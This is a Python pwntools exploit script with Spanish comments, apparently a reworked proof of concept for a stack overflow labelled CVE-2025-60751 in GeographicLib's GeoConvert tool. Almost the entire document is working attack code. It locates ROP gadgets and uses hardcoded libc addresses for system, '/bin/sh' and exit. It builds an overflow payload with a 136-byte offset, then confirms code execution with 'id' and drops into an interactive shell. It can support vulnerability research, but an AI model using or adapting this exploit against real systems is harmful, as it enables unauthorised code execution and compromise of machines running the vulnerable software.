#!/usr/bin/env python3 from pwn import * # --- INFO --- # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow # Autor: Refactored for Robustness # --- --- --- context.binary = elf = ELF("./GeoConvert") context.log_level = 'info' def exploit(): # 1. Gestión de procesos (Local vs Remoto) if args.GDB: io = gdb.debug([elf.path], gdbscript=""" b *main continue """) else: # ASAN puede interferir con los offsets si no se gestiona bien io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"}) # 2. Localización Dinámica de Gadgets # En lugar de hardcodear, usamos pwntools para buscarlos en el binario rop = ROP(elf) POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0] RET = rop.find_gadget(['ret'])[0] log.info(f"Gadget POP RDI: {hex(POP_RDI)}") # 3. Fuga de Memoria (Leak) para Bypass de ASLR # Si el binario es dinámico, primero deberíamos leakear una dirección de la libc. # Como tu ejemplo asume direcciones fijas (probablemente Lab environment), # usaremos las proporcionadas pero con una estructura más clara. LIBC_BASE = 0x7ffff7a00000 # Ejemplo de base SYSTEM = LIBC_BASE + 0x5d110 BINSH = LIBC_BASE + 0x1b1ea4 EXIT = LIBC_BASE + 0x4c340 # 4. Construcción del Payload (Estructura Limpia) offset = 136 chain = [ b"A" * offset, p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos) p64(POP_RDI), p64(BINSH), p64(SYSTEM), p64(EXIT) ] payload = b"".join(chain) # 5. Ejecución log.info("Sending payload and spawning shell...") io.sendline(payload) # Comprobar si obtuvimos shell antes de entrar en interactivo io.clean() io.sendline(b"id") res = io.recvline(timeout=2) if b"uid=" in res: log.success("Pwned! enjoy your shell.") io.interactive() else: log.error("Exploit failed or no output received.") io.close() if __name__ == "__main__": exploit()